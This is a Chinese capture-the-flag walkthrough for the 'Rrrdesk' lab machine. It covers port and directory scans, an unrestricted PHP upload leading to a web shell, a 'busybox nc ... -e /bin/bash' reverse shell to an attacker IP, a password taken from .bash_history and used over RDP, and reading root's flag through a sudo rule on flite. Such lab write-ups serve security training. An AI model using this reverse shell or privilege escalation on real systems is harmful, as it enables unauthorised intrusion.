群友靶机-Rrrdesk

1信息收集

1.1 Nmap 端口扫描

```
root⊛kali)-[~]
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 11:24 EDT
Nmap scan report for 192.168.19.142
Host is up (0.00036s latency).
Not shown: 65532 closed tcp ports (reset)
      STATE SERVICE VERSION
PORT
22/tcp open ssh
                        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http
                         Apache httpd 2.4.62 ((Debian))
3389/tcp open ms-wbt-server Microsoft Terminal Service
MAC Address: 08:00:27:F4:4A:21 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel,
cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds
```

1.2 Dirsearch 目录扫描

```
Target: http://192.168.19.142/

[23:28:53] Starting:
[23:29:05] 302 - 0B - /upload.php -> index.php
[23:29:06] 200 - 911B - /back.zip
[23:29:06] 301 - 318B - /uploads -> http://192.168.19.142/uploads/
```

2 User

2.1 获取www用户权限

访问界面后发现是一个文件上传系统



但是上传文件后并没有发现返回文件名称

扫目录后发现疑似源码的 zip 压缩包, 下载 /back.zip 并解压后可发现

/index.php /upload.php 两php文件源码

```
<?php
$upload_dir = '/var/www/webdav/uploads/';
$filename = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
if (!empty($filename)) {
   // 生成MD5文件名(保留原扩展名)
    $file_ext = pathinfo($filename, PATHINFO_EXTENSION);
    $new_name = md5(pathinfo($filename, PATHINFO_FILENAME)) . ($file_ext ?
".$file_ext" : '');
   // 移动文件到上传目录
   if (move_uploaded_file($tmp_name, $upload_dir . $new_name)) {
       echo "Upload ok";
   } else {
       echo "文件上传失败!";
    }
} else {
   header("Location: index.php");
}
?>
```

通过对源码分析,可发现该上传点只是将上传文件的文件名进行MD5编码,并且保留了文件后缀 所以我们上传一个 cmd.php 准备反弹shell

```
busybox nc 192.168.19.190 1234 -e /bin/bash
```

```
nc -lvp 1234
```

接下来再访问 /uploads/dfff0a7fa1a55c8c1a4966c19f6da452.php 就能获取shell了

获取 shell 后可在 /home/lemon 看到 user.txt

```
www-data@Rrrdesk:/home/lemon$ cat user.txt
flag{user-9ffbf43126e33be52cd2bf7e01d627f9}
```

3 Root

3.1 获取lemon用户权限

我们在 lemon 用户中获取到了 user.txt , 所以我们先看看 lemon 中的文件有什么信息

然后我们就能够在 .bash_history 文件中发现疑似密码 speaker

```
www-data@Rrrdesk:/home/lemon$ cat .bash_history
....
echo speaker | md5sum
ls -al
echo speaker | passwd
id
....
```

同时在查看家目录时候感觉有点不太对,发现有 Desktop 、Downloads

```
www-data@Rrrdesk:/home/lemon$ ls

Desktop Downloads Pictures Templates user.txt

Documents Music Public Videos thinclient_drives
```

同时 ssh、su 均使用不了

又联想上了最开始端口扫描的 3389 端口,于是使用 mstsc windows远程桌面连接 连接下,输入用户名和密码(lemon: speaker),成功远程连接上

3.2 读取root.txt

连接上之后启动终端

照例先看看 sudo -1

```
lemon@Rrrdesk;~$ sudo -1
Matching Defaults entries for lemon on Rrrdesk;
env_reset, mail_badpass, secure_path=/usr/local/sbin\;/usr/local/bin\;/usr/sbin\;/usr/bin\;/bin
User lemon may run the following commands on Rrrdesk;
(ALL) NOPASSWD; /usr/bin/flite
```

发现有个 flite

通过查询可以发现,在linux下通过 flite 命令可以使用文字转语音功能,能够将文件转为语言并播放出来

这个时候我们就有读取flag的思路了,因为 flite 有 sudo 权限,所以我们只需要直接让 flite 读取 /root/root.txt 即可

当然如果英语不好,也可以加一个 -add_lex 直接读取

sudo flite -add_lex /root/root.txt

lemon@Rrrdesk:~\$ sudo flite -add_lex /root/root.txt add_addenda: lex cmu: expected ":" in flag{root-68b329da9893e34099c7d8ad5cb9c940}